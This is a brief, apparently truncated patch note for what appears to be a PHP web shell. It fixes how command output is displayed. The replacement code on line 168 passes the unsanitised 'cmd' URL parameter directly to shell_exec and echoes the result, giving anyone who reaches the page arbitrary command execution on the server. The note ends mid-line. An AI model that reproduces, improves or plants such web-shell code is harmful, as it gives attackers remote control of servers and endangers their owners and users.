If an output of a command is more than of a 1 line, only first line would be shown.
Fixes:
Change lines:
168: $output = "\n$prompt{$_GET['cmd']}\n" . substr(shell_exec("{$_GET['cmd']} 2>&1"), 0, -1);
to
168: $output = "\n\n\n$prompt{$_GET['cmd']}\n" . substr(shell_exec("{$_GET['cmd']} 2>&1"), 0, -1);
253: ret = http_request.responseText.split("\r");
to
253: ret =...